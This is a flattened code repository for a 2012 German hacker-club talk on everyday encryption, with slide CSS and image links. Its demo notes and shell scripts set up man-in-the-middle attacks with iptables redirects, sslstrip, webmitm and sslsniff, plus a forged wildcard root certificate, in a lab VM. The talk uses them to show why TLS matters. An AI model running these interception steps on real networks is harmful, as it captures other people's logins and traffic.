├── .gitignore ├── assets ├── title.jpg ├── schloss.jpg ├── title-otr.jpg ├── title-pgp.jpg ├── title-ssl.jpg ├── fingerprint.jpg ├── key-red-arrow.jpg ├── prz_closeup.jpg ├── ssl-chain-net.jpg ├── title-basics.jpg ├── title-fazit.jpg ├── key-green-arrow.png ├── ssl-chain-user.jpg ├── ssl-studivz-log.png ├── ssl-chain-browser.jpg ├── ssl-chain-computer.jpg ├── ssl-chain-server.jpg ├── ssl-studivz-login.png ├── great-job-youre-fucked.jpg ├── ssl-studivz-mitsslstrip.png ├── ssl-studivz-ohnesslstrip.png ├── ssl-untrusted-connection.jpg ├── extract-license.sh ├── cc.by-nc-sa.eu.svg ├── web-of-trust-legende.svg └── web-of-trust-1.svg ├── lib ├── cccs │ ├── logo.png │ ├── chaosknoten.png │ ├── cccs.css │ └── chaosknoten.svg ├── styles.css └── slides.js ├── demo ├── 0-setup │ └── installation.txt ├── 1-sslstrip │ ├── sslstrip.txt │ └── setup-sslstrip.sh └── 2-webmitm │ ├── webmitm.txt │ ├── setup-webmitm.sh │ └── sslsniff.txt ├── README.md └── folien.html /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | .*swp 3 | -------------------------------------------------------------------------------- /assets/title.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/title.jpg -------------------------------------------------------------------------------- /assets/schloss.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/schloss.jpg -------------------------------------------------------------------------------- /lib/cccs/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/lib/cccs/logo.png -------------------------------------------------------------------------------- /assets/title-otr.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/title-otr.jpg -------------------------------------------------------------------------------- /assets/title-pgp.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/title-pgp.jpg -------------------------------------------------------------------------------- /assets/title-ssl.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/title-ssl.jpg -------------------------------------------------------------------------------- /assets/fingerprint.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/fingerprint.jpg -------------------------------------------------------------------------------- /assets/key-red-arrow.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/key-red-arrow.jpg -------------------------------------------------------------------------------- /assets/prz_closeup.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/prz_closeup.jpg -------------------------------------------------------------------------------- /assets/ssl-chain-net.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-chain-net.jpg -------------------------------------------------------------------------------- /assets/title-basics.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/title-basics.jpg -------------------------------------------------------------------------------- /assets/title-fazit.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/title-fazit.jpg -------------------------------------------------------------------------------- /lib/cccs/chaosknoten.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/lib/cccs/chaosknoten.png -------------------------------------------------------------------------------- /assets/key-green-arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/key-green-arrow.png -------------------------------------------------------------------------------- /assets/ssl-chain-user.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-chain-user.jpg -------------------------------------------------------------------------------- /assets/ssl-studivz-log.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-studivz-log.png -------------------------------------------------------------------------------- /assets/ssl-chain-browser.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-chain-browser.jpg -------------------------------------------------------------------------------- /assets/ssl-chain-computer.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-chain-computer.jpg -------------------------------------------------------------------------------- /assets/ssl-chain-server.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-chain-server.jpg -------------------------------------------------------------------------------- /assets/ssl-studivz-login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-studivz-login.png -------------------------------------------------------------------------------- /assets/great-job-youre-fucked.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/great-job-youre-fucked.jpg -------------------------------------------------------------------------------- /assets/ssl-studivz-mitsslstrip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-studivz-mitsslstrip.png -------------------------------------------------------------------------------- /assets/ssl-studivz-ohnesslstrip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-studivz-ohnesslstrip.png -------------------------------------------------------------------------------- /assets/ssl-untrusted-connection.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-untrusted-connection.jpg -------------------------------------------------------------------------------- /demo/0-setup/installation.txt: -------------------------------------------------------------------------------- 1 | Backtrack in Virtualbox installieren. 2 Netzwerk-Interfaces: 2 | 1. Interface: Host-only adpater 3 | 2. Interface: Bridged adapter 4 | -------------------------------------------------------------------------------- /demo/1-sslstrip/sslstrip.txt: -------------------------------------------------------------------------------- 1 | In Backtrack: 2 | - Prüfen, ob Defaultroute auf Bridged Device 3 | - SSL-Strip herunterladen und entpacken 4 | - IP-Forwarding an 5 | - IP-Tables-Prerouting-Eintrag gemäß README 6 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 7 | - sslstrip starten, Protokoll in Logdatei schreiben 8 | python sslstrip.py -l 10000 -w log.txt 9 | In Hostsystem: 10 | - Defaultroute löschen 11 | - Defaultroute auf Host-Only-Interface setzen 12 | - Profit :-) 13 | 14 | -------------------------------------------------------------------------------- /demo/2-webmitm/webmitm.txt: -------------------------------------------------------------------------------- 1 | In Backtrack: 2 | - Prüfen, ob Defaultroute auf Bridged Device 3 | - IP-Forwarding an 4 | - IP-Tables-Prerouting-Einträge: 5 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 80 6 | iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 443 7 | - webmitm starten: 8 | webmitm -dd 9 | (beim ersten Aufruf werden Key+Zertifikat in die Datei webmitm.crt generiert) 10 | In Hostsystem: 11 | - Defaultroute löschen 12 | - Defaultroute auf Host-Only-Interface setzen 13 | -------------------------------------------------------------------------------- /demo/2-webmitm/setup-webmitm.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | IN_DEV=$1 3 | if [ -z "$IN_DEV" ] ; then 4 | echo "Required parameter: Input device (e.g. eth1)" 5 | exit 1 6 | fi 7 | echo "Flushing iptables" 8 | iptables -F 9 | iptables -t nat -F 10 | echo "Intercepting port 80 and 443" 11 | iptables -i $IN_DEV -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 80 12 | iptables -i $IN_DEV -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 443 13 | echo "Enabling IP forwarding" 14 | echo 1 > /proc/sys/net/ipv4/ip_forward 15 | 16 | -------------------------------------------------------------------------------- /assets/extract-license.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | EMPTY="" 3 | for i in $* ; do 4 | COMMENT=`exiv2 -q -Pt -g Exif.Photo.UserComment $i` 5 | if [ -n "$COMMENT" ] ; then 6 | LINK=`echo $COMMENT | sed "s/^.*Source: \([^ ]*\).*$/\1/"` 7 | LICENSE=`echo $COMMENT | sed "s/^.*License: \([^ ]*\).*$/\1/"` 8 | LICENSE=`echo $LICENSE | sed "s/Attribution/BY/;s/NonCommercial/NC/;s/ShareAlike/SA/;s/NoDerivs/ND/"` 9 | echo "
  • $LINK CC $LICENSE
    • " 10 | else 11 | EMPTY="$i $EMPTY" 12 | fi 13 | done 14 | if [ -n "$EMPTY" ] ; then 15 | echo "Please check manually: $EMPTY" >&2 16 | fi 17 | 18 | -------------------------------------------------------------------------------- /demo/1-sslstrip/setup-sslstrip.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | IN_DEV=$1 3 | if [ -z "$IN_DEV" ] ; then 4 | echo "Required parameter: Input device (e.g. eth1)" 5 | exit 1 6 | fi 7 | echo "Flushing iptables" 8 | iptables -F 9 | iptables -t nat -F 10 | echo "Redirecting port 80 to local port 10000" 11 | iptables -i $IN_DEV -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 12 | #echo "Redirecting port 443 to local port 10001" 13 | #iptables -i $IN_DEV -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 10001 14 | echo "Enabling IP forwarding" 15 | echo 1 > /proc/sys/net/ipv4/ip_forward 16 | 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Vortragsfolien "Veschlüsselung im Alltag" 2 | ========================================= 3 | 4 | Vortrag beim CCC Stuttgart, 8.3.2012. 5 | 6 | 7 | Referenzen 8 | ---------- 9 | 10 | Folientemplate basiert auf den html5-Folien von Benjamin Erb (https://github.com/berb/html5slides-uulm). 11 | 12 | Bildreferenzen: Siehe Ende des Foliensatzes. 13 | 14 | 15 | Lizenz 16 | ------ 17 | 18 | Autor: Stefan Schlott, PGP 0x75FD7074 19 | 20 | Soweit bei Einzelteilen nicht anders angegeben, steht dieses Werk unter einer Creative Commons Namensnennung-Nicht-kommerziell-Weitergabe unter gleichen Bedingungen 3.0 Unported Lizenz (http://creativecommons.org/licenses/by-nc-sa/3.0/). 21 | 22 | -------------------------------------------------------------------------------- /demo/2-webmitm/sslsniff.txt: -------------------------------------------------------------------------------- 1 | In Backtrack: 2 | - Prüfen, ob Defaultroute auf Bridged Device 3 | - IP-Forwarding an 4 | - IP-Tables-Prerouting-Eintrag gemäß README: 5 | iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 10001 6 | - Self-signed root certificate generieren: 7 | Schlüssel erzeugen: 8 | openssl genrsa -des3 -out myroot-enc.key 1024 9 | Passwort entfernen: 10 | openssl rsa -in myroot-enc.key -out myroot.key 11 | Certificate request erzeugen (Common name muß "*" sein): 12 | openssl req -new -key myroot.key -out myroot.csr 13 | Zertifikat erzeugen: 14 | openssl x509 -req -days 365 -in myroot.csr -signkey myroot.key -out myroot.crt 15 | Zertifikat und Schlüssel in selbe Datei: 16 | cat myroot.crt myroot.key > myroot 17 | - sslsniff starten, Protokoll in Logdatei schreiben 18 | sslsniff -a -c myroot -s 10001 -w log.txt 19 | In Hostsystem: 20 | - Defaultroute löschen 21 | - Defaultroute auf Host-Only-Interface setzen 22 | - Profit :-) 23 | 24 | -------------------------------------------------------------------------------- /lib/cccs/cccs.css: -------------------------------------------------------------------------------- 1 | .slides.template-cccs-in section > article:not(.fill):not(.title-slide):before{ 2 | content:""; 3 | display:block; 4 | /* border-top:6px solid rgb(145,181,215); */ 5 | position: absolute; 6 | width: 77%; 7 | height: 2px; 8 | min-height: 2px; 9 | left: 0; 10 | top: 24px; 11 | } 12 | 13 | 14 | 15 | .slides.template-cccs-in section > article:not(.fill):not(.title-slide) .slide-nr{ 16 | display:inline; 17 | position: absolute; 18 | color: #dde; 19 | font-size:18px; 20 | line-height: 18px; 21 | font-weight: 600; 22 | letter-spacing: -1px; 23 | left: 78%; 24 | width: 20%; 25 | min-width: 20%; 26 | height: 20%; 27 | min-height: 20%; 28 | top: 24px; 29 | padding:0px; 30 | padding-left:6px; 31 | padding-right:6px; 32 | margin:0; 33 | text-align:right; 34 | background-image: url(chaosknoten.png); 35 | background-repeat: no-repeat; 36 | background-size: 100% 100%; 37 | -webkit-background-size: 100% 100%; 38 | } 39 | 40 | 41 | 42 | .slides.template-cccs-in section > article.title-slide img { 43 | position: absolute; 44 | left: 0; 45 | top: 20%; 46 | 47 | min-width: 100%; 48 | min-height: 50%; 49 | width:100%; 50 | height:50%; 51 | 52 | 53 | 54 | z-index: -1; 55 | } 56 | 57 | .slides.template-cccs-in section > article h1, .slides.template-cccs-in section > article h2, .slides.template-cccs-in section > article h3{ 58 | color: rgb(92,136,179); 59 | } 60 | .slides.template-cccs-in section > article.title-slide #title{ 61 | font-size: 48px; 62 | position: absolute; 63 | left: 5%; 64 | top: 75%; 65 | text-align:left; 66 | margin:0; 67 | padding:0; 68 | } 69 | 70 | 71 | .slides.template-cccs-in section > article.title-slide #subtitle{ 72 | font-size: 28px; 73 | position: absolute; 74 | left: 50%; 75 | bottom: 3%; 76 | text-align:left; 77 | margin:0; 78 | padding:0; 79 | } 80 | 81 | .slides.template-cccs-in section > article.title-slide #author{ 82 | font-size: 28px; 83 | position: absolute; 84 | left: 5%; 85 | bottom: 5%; 86 | text-align:left; 87 | margin:0; 88 | padding:0; 89 | } 90 | 91 | .slides.template-cccs-in section > article.title-slide #cccs-logo { 92 | position: absolute; 93 | left: 50%; 94 | top: 4%; 95 | z-index: -2; 96 | width: 48%; 97 | min-width: 48%; 98 | min-height: 13%; 99 | height: 13%; 100 | } 101 | 102 | 103 | 104 | .slides.template-cccs-in section > article:not(.fill){ 105 | padding-top: 100px; 106 | padding-left: 80px; 107 | padding-right: 80px; 108 | padding-bottom: 32px; 109 | } 110 | 111 | .slides.template-cccs-in section > article:not(.nobackground):not(.biglogo) { 112 | background-color: white; 113 | } 114 | 115 | .slides.template-cccs-in li::before { 116 | color: rgb(92,136,179); 117 | } 118 | 119 | .slides.template-cccs-in td{ 120 | background: rgba(169,162,141,0.4); 121 | padding: 5px 10px; 122 | vertical-align: top; 123 | } 124 | 125 | .slides.template-cccs-in th{ 126 | background: rgba(169,162,141,0.8); 127 | padding: 5px 10px; 128 | vertical-align: top; 129 | color:#eee; 130 | } 131 | 132 | .slides.template-cccs-in iframe { 133 | height: 580px; 134 | } 135 | 136 | .slides.template-cccs-in h3 + iframe { 137 | margin-top: 40px; 138 | height: 480px; 139 | } 140 | 141 | .slides.template-cccs-in section article.fill iframe { 142 | position: absolute; 143 | left: 0; 144 | top: 0; 145 | width: 100%; 146 | height: 100%; 147 | 148 | border: 0; 149 | margin: 0; 150 | 151 | border-radius: 10px; 152 | -o-border-radius: 10px; 153 | -moz-border-radius: 10px; 154 | -webkit-border-radius: 10px; 155 | 156 | z-index: -1; 157 | } 158 | 159 | 160 | .cccs-color { 161 | color: rgb(145,181,215); 162 | } 163 | 164 | .mawi-color { 165 | color: rgb(179,72,55); 166 | } 167 | 168 | .in-color { 169 | color: rgb(92,136,179); 170 | } 171 | 172 | .nawi-color { 173 | color: rgb(55,179,133); 174 | } 175 | 176 | .med-color { 177 | color: rgb(55,101,144); 178 | } 179 | 180 | .accent-color { 181 | color: rgb(169,162,141); 182 | } 183 | 184 | .slides.template-cccs-in a{ 185 | color: rgb(125,154,170); 186 | } 187 | 188 | a{ 189 | text-decoration: none; 190 | } 191 | -------------------------------------------------------------------------------- /lib/cccs/chaosknoten.svg: -------------------------------------------------------------------------------- 1 | 2 | 16 | 18 | 19 | 21 | image/svg+xml 22 | 24 | 25 | 26 | 27 | 29 | 49 | 52 | 56 | 60 | 64 | 68 | 72 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /lib/styles.css: -------------------------------------------------------------------------------- 1 | /* 2 | Google HTML5 slides template 3 | 4 | Authors: Luke Mahé (code) 5 | Marcin Wichary (code and design) 6 | 7 | Dominic Mazzoni (browser compatibility) 8 | Charles Chen (ChromeVox support) 9 | 10 | URL: http://code.google.com/p/html5slides/ 11 | */ 12 | 13 | /* Framework */ 14 | 15 | html { 16 | height: 100%; 17 | } 18 | 19 | body { 20 | margin: 0; 21 | padding: 0; 22 | 23 | display: block !important; 24 | 25 | height: 100%; 26 | min-height: 740px; 27 | 28 | overflow-x: hidden; 29 | overflow-y: auto; 30 | 31 | background: rgb(215, 215, 215); 32 | background: -o-radial-gradient(rgb(240, 240, 240), rgb(190, 190, 190)); 33 | background: -moz-radial-gradient(rgb(240, 240, 240), rgb(190, 190, 190)); 34 | background: -webkit-radial-gradient(rgb(240, 240, 240), rgb(190, 190, 190)); 35 | background: -webkit-gradient(radial, 50% 50%, 0, 50% 50%, 500, from(rgb(240, 240, 240)), to(rgb(190, 190, 190))); 36 | 37 | -webkit-font-smoothing: antialiased; 38 | } 39 | 40 | .slides { 41 | width: 100%; 42 | height: 100%; 43 | left: 0; 44 | top: 0; 45 | 46 | position: absolute; 47 | 48 | -webkit-transform: translate3d(0, 0, 0); 49 | } 50 | 51 | .slides section > article{ 52 | display: block; 53 | 54 | position: absolute; 55 | overflow: hidden; 56 | 57 | width: 900px; 58 | height: 700px; 59 | 60 | left: 50%; 61 | top: 50%; 62 | 63 | margin-left: -450px; 64 | margin-top: -350px; 65 | 66 | padding: 40px 60px; 67 | 68 | box-sizing: border-box; 69 | -o-box-sizing: border-box; 70 | -moz-box-sizing: border-box; 71 | -webkit-box-sizing: border-box; 72 | 73 | border-radius: 10px; 74 | -o-border-radius: 10px; 75 | -moz-border-radius: 10px; 76 | -webkit-border-radius: 10px; 77 | 78 | background-color: white; 79 | 80 | box-shadow: 0 2px 6px rgba(0, 0, 0, .1); 81 | border: 1px solid rgba(0, 0, 0, .3); 82 | 83 | transition: transform .3s ease-out; 84 | -o-transition: -o-transform .3s ease-out; 85 | -moz-transition: -moz-transform .3s ease-out; 86 | -webkit-transition: -webkit-transform .3s ease-out; 87 | } 88 | .slides.layout-widescreen section > article { 89 | margin-left: -550px; 90 | width: 1100px; 91 | } 92 | .slides.layout-faux-widescreen section > article { 93 | margin-left: -550px; 94 | width: 1100px; 95 | 96 | padding: 40px 160px; 97 | } 98 | 99 | .slides.template-default section > article:not(.nobackground):not(.biglogo) { 100 | background: url(images/google-logo-small.png) 710px 625px no-repeat; 101 | 102 | background-color: white; 103 | } 104 | 105 | .slides.layout-widescreen section > article:not(.nobackground):not(.biglogo), 106 | .slides.layout-faux-widescreen > article:not(.nobackground):not(.biglogo) { 107 | background-position-x: 0, 840px; 108 | } 109 | 110 | /* Clickable/tappable areas */ 111 | 112 | .slide-area { 113 | z-index: 1000; 114 | 115 | position: absolute; 116 | left: 0; 117 | top: 0; 118 | width: 150px; 119 | height: 700px; 120 | 121 | left: 50%; 122 | top: 50%; 123 | 124 | cursor: pointer; 125 | margin-top: -350px; 126 | 127 | tap-highlight-color: transparent; 128 | -o-tap-highlight-color: transparent; 129 | -moz-tap-highlight-color: transparent; 130 | -webkit-tap-highlight-color: transparent; 131 | } 132 | #prev-slide-area { 133 | margin-left: -550px; 134 | } 135 | #next-slide-area { 136 | margin-left: 400px; 137 | } 138 | .slides.layout-widescreen #prev-slide-area, 139 | .slides.layout-faux-widescreen #prev-slide-area { 140 | margin-left: -650px; 141 | } 142 | .slides.layout-widescreen #next-slide-area, 143 | .slides.layout-faux-widescreen #next-slide-area { 144 | margin-left: 500px; 145 | } 146 | 147 | 148 | /* Slides */ 149 | 150 | .slides section > article{ 151 | display: none; 152 | } 153 | .slides section > article.far-past { 154 | display: block; 155 | transform: translate(-2040px); 156 | -o-transform: translate(-2040px); 157 | -moz-transform: translate(-2040px); 158 | -webkit-transform: translate3d(-2040px, 0, 0); 159 | } 160 | .slides section> article.past { 161 | display: block; 162 | transform: translate(-1020px); 163 | -o-transform: translate(-1020px); 164 | -moz-transform: translate(-1020px); 165 | -webkit-transform: translate3d(-1020px, 0, 0); 166 | } 167 | .slides section > article.current { 168 | display: block; 169 | transform: translate(0); 170 | -o-transform: translate(0); 171 | -moz-transform: translate(0); 172 | -webkit-transform: translate3d(0, 0, 0); 173 | } 174 | .slides section > article.next { 175 | display: block; 176 | transform: translate(1020px); 177 | -o-transform: translate(1020px); 178 | -moz-transform: translate(1020px); 179 | -webkit-transform: translate3d(1020px, 0, 0); 180 | } 181 | .slides section > article.far-next { 182 | display: block; 183 | transform: translate(2040px); 184 | -o-transform: translate(2040px); 185 | -moz-transform: translate(2040px); 186 | -webkit-transform: translate3d(2040px, 0, 0); 187 | } 188 | 189 | .slides.layout-widescreen section > article.far-past, 190 | .slides.layout-faux-widescreen section > article.far-past { 191 | display: block; 192 | transform: translate(-2260px); 193 | -o-transform: translate(-2260px); 194 | -moz-transform: translate(-2260px); 195 | -webkit-transform: translate3d(-2260px, 0, 0); 196 | } 197 | .slides.layout-widescreen section > article.past, 198 | .slides.layout-faux-widescreen section > article.past { 199 | display: block; 200 | transform: translate(-1130px); 201 | -o-transform: translate(-1130px); 202 | -moz-transform: translate(-1130px); 203 | -webkit-transform: translate3d(-1130px, 0, 0); 204 | } 205 | .slides.layout-widescreen section > article.current, 206 | .slides.layout-faux-widescreen section > article.current { 207 | display: block; 208 | transform: translate(0); 209 | -o-transform: translate(0); 210 | -moz-transform: translate(0); 211 | -webkit-transform: translate3d(0, 0, 0); 212 | } 213 | .slides.layout-widescreen section > article.next, 214 | .slides.layout-faux-widescreen section > article.next { 215 | display: block; 216 | transform: translate(1130px); 217 | -o-transform: translate(1130px); 218 | -moz-transform: translate(1130px); 219 | -webkit-transform: translate3d(1130px, 0, 0); 220 | } 221 | .slides.layout-widescreen section > article.far-next, 222 | .slides.layout-faux-widescreen section > article.far-next { 223 | display: block; 224 | transform: translate(2260px); 225 | -o-transform: translate(2260px); 226 | -moz-transform: translate(2260px); 227 | -webkit-transform: translate3d(2260px, 0, 0); 228 | } 229 | 230 | /* Styles for slides */ 231 | 232 | .slides section > article { 233 | font-family: 'Open Sans', Arial, sans-serif; 234 | 235 | color: rgb(102, 102, 102); 236 | text-shadow: 0 1px 1px rgba(0, 0, 0, .1); 237 | 238 | font-size: 30px; 239 | line-height: 36px; 240 | 241 | letter-spacing: -1px; 242 | } 243 | 244 | b { 245 | font-weight: 600; 246 | } 247 | 248 | .blue { 249 | color: rgb(0, 102, 204); 250 | } 251 | .yellow { 252 | color: rgb(255, 211, 25); 253 | } 254 | .green { 255 | color: rgb(0, 138, 53); 256 | } 257 | .red { 258 | color: rgb(255, 0, 0); 259 | } 260 | .black { 261 | color: black; 262 | } 263 | .white { 264 | color: white; 265 | } 266 | 267 | a { 268 | color: rgb(0, 102, 204); 269 | } 270 | a:visited { 271 | color: rgba(0, 102, 204, .75); 272 | } 273 | a:hover { 274 | color: black; 275 | } 276 | 277 | p { 278 | margin: 0; 279 | padding: 0; 280 | 281 | margin-top: 20px; 282 | } 283 | p:first-child { 284 | margin-top: 0; 285 | } 286 | 287 | h1 { 288 | font-size: 60px; 289 | line-height: 60px; 290 | 291 | padding: 0; 292 | margin: 0; 293 | margin-top: 200px; 294 | padding-right: 40px; 295 | 296 | font-weight: 600; 297 | 298 | letter-spacing: -3px; 299 | 300 | color: rgb(51, 51, 51); 301 | } 302 | 303 | h2 { 304 | font-size: 45px; 305 | line-height: 45px; 306 | 307 | position: absolute; 308 | bottom: 150px; 309 | 310 | padding: 0; 311 | margin: 0; 312 | padding-right: 40px; 313 | 314 | font-weight: 600; 315 | 316 | letter-spacing: -2px; 317 | 318 | color: rgb(51, 51, 51); 319 | } 320 | 321 | h3 { 322 | font-size: 30px; 323 | line-height: 36px; 324 | 325 | padding: 0; 326 | margin: 0; 327 | padding-right: 40px; 328 | 329 | font-weight: 600; 330 | 331 | letter-spacing: -1px; 332 | 333 | color: rgb(51, 51, 51); 334 | } 335 | 336 | article.fill h3 { 337 | background: rgba(255, 255, 255, .75); 338 | padding-top: .2em; 339 | padding-bottom: .3em; 340 | margin-top: -.2em; 341 | margin-left: -60px; 342 | padding-left: 60px; 343 | margin-right: -60px; 344 | padding-right: 60px; 345 | } 346 | 347 | ul { 348 | list-style: none; 349 | margin: 0; 350 | padding: 0; 351 | 352 | margin-top: 40px; 353 | 354 | margin-left: .75em; 355 | } 356 | ul:first-child { 357 | margin-top: 0; 358 | } 359 | ul ul { 360 | margin-top: .5em; 361 | } 362 | li { 363 | padding: 0; 364 | margin: 0; 365 | 366 | margin-bottom: .5em; 367 | } 368 | li::before { 369 | content: '·'; 370 | 371 | width: .75em; 372 | margin-left: -.75em; 373 | 374 | position: absolute; 375 | } 376 | 377 | ol li::before { 378 | content: ''; 379 | } 380 | 381 | nav.toc ol li.done{ 382 | opacity: 0.80; 383 | } 384 | nav.toc ol li.current{ 385 | font-weight:bold; 386 | } 387 | nav.toc ol li.future{ 388 | opacity: 0.95; 389 | } 390 | 391 | pre { 392 | font-family: 'Droid Sans Mono', 'Courier New', monospace; 393 | 394 | font-size: 20px; 395 | line-height: 28px; 396 | padding: 5px 10px; 397 | 398 | letter-spacing: -1px; 399 | 400 | margin-top: 40px; 401 | margin-bottom: 40px; 402 | 403 | color: black; 404 | background: rgb(240, 240, 240); 405 | border: 1px solid rgb(224, 224, 224); 406 | box-shadow: inset 0 2px 6px rgba(0, 0, 0, .1); 407 | 408 | overflow: hidden; 409 | } 410 | 411 | code { 412 | font-size: 95%; 413 | font-family: 'Droid Sans Mono', 'Courier New', monospace; 414 | 415 | color: black; 416 | } 417 | 418 | iframe { 419 | width: 100%; 420 | 421 | height: 620px; 422 | /* 423 | background: white; 424 | border: 1px solid rgb(192, 192, 192); 425 | margin: -1px; 426 | */ 427 | /*box-shadow: inset 0 2px 6px rgba(0, 0, 0, .1);*/ 428 | } 429 | 430 | h3 + iframe { 431 | margin-top: 40px; 432 | height: 540px; 433 | } 434 | 435 | article.fill iframe { 436 | position: absolute; 437 | left: 0; 438 | top: 0; 439 | width: 100%; 440 | height: 100%; 441 | 442 | border: 0; 443 | margin: 0; 444 | 445 | border-radius: 10px; 446 | -o-border-radius: 10px; 447 | -moz-border-radius: 10px; 448 | -webkit-border-radius: 10px; 449 | 450 | z-index: -1; 451 | } 452 | 453 | article.fill img { 454 | position: absolute; 455 | left: 0; 456 | top: 0; 457 | min-width: 100%; 458 | min-height: 100%; 459 | 460 | border-radius: 10px; 461 | -o-border-radius: 10px; 462 | -moz-border-radius: 10px; 463 | -webkit-border-radius: 10px; 464 | 465 | z-index: -1; 466 | } 467 | img.centered { 468 | margin: 0 auto; 469 | display: block; 470 | } 471 | 472 | table { 473 | width: 100%; 474 | border-collapse: collapse; 475 | margin-top: 40px; 476 | } 477 | th { 478 | font-weight: 600; 479 | text-align: left; 480 | } 481 | td, 482 | th { 483 | border: 1px solid rgb(224, 224, 224); 484 | padding: 5px 10px; 485 | vertical-align: top; 486 | } 487 | 488 | .source { 489 | position: absolute; 490 | left: 60px; 491 | top: 644px; 492 | padding-right: 175px; 493 | 494 | font-size: 15px; 495 | letter-spacing: 0; 496 | line-height: 18px; 497 | } 498 | 499 | q { 500 | display: block; 501 | font-size: 60px; 502 | line-height: 72px; 503 | 504 | margin-left: 20px; 505 | 506 | margin-top: 100px; 507 | margin-right: 150px; 508 | } 509 | q::before { 510 | content: '„'; 511 | 512 | position: absolute; 513 | display: inline-block; 514 | margin-left: -2.1em; 515 | width: 2em; 516 | text-align: right; 517 | 518 | font-size: 90px; 519 | color: rgb(192, 192, 192); 520 | } 521 | q::after { 522 | content: '“'; 523 | 524 | position: absolute; 525 | margin-left: .1em; 526 | 527 | font-size: 90px; 528 | color: rgb(192, 192, 192); 529 | } 530 | div.author { 531 | text-align: right; 532 | font-size: 40px; 533 | 534 | margin-top: 20px; 535 | margin-right: 150px; 536 | } 537 | div.author::before { 538 | content: '—'; 539 | } 540 | 541 | /* Size variants */ 542 | 543 | article.smaller p, 544 | article.smaller ul, article.smaller dl { 545 | font-size: 20px; 546 | line-height: 24px; 547 | letter-spacing: 0; 548 | } 549 | article.smaller table { 550 | font-size: 20px; 551 | line-height: 24px; 552 | letter-spacing: 0; 553 | } 554 | article.smaller pre { 555 | font-size: 15px; 556 | line-height: 20px; 557 | letter-spacing: 0; 558 | } 559 | article.smaller q { 560 | font-size: 40px; 561 | line-height: 48px; 562 | } 563 | article.smaller q::before, 564 | article.smaller q::after { 565 | font-size: 60px; 566 | } 567 | 568 | /* Builds */ 569 | 570 | .build > * { 571 | transition: opacity 0.5s ease-in-out 0.2s; 572 | -o-transition: opacity 0.5s ease-in-out 0.2s; 573 | -moz-transition: opacity 0.5s ease-in-out 0.2s; 574 | -webkit-transition: opacity 0.5s ease-in-out 0.2s; 575 | } 576 | 577 | .to-build { 578 | opacity: 0; 579 | } 580 | 581 | /* Pretty print */ 582 | 583 | .prettyprint .str, /* string content */ 584 | .prettyprint .atv { /* a markup attribute value */ 585 | color: rgb(0, 138, 53); 586 | } 587 | .prettyprint .kwd, /* a keyword */ 588 | .prettyprint .tag { /* a markup tag name */ 589 | color: rgb(0, 102, 204); 590 | } 591 | .prettyprint .com { /* a comment */ 592 | color: rgb(127, 127, 127); 593 | font-style: italic; 594 | } 595 | .prettyprint .lit { /* a literal value */ 596 | color: rgb(127, 0, 0); 597 | } 598 | .prettyprint .pun, /* 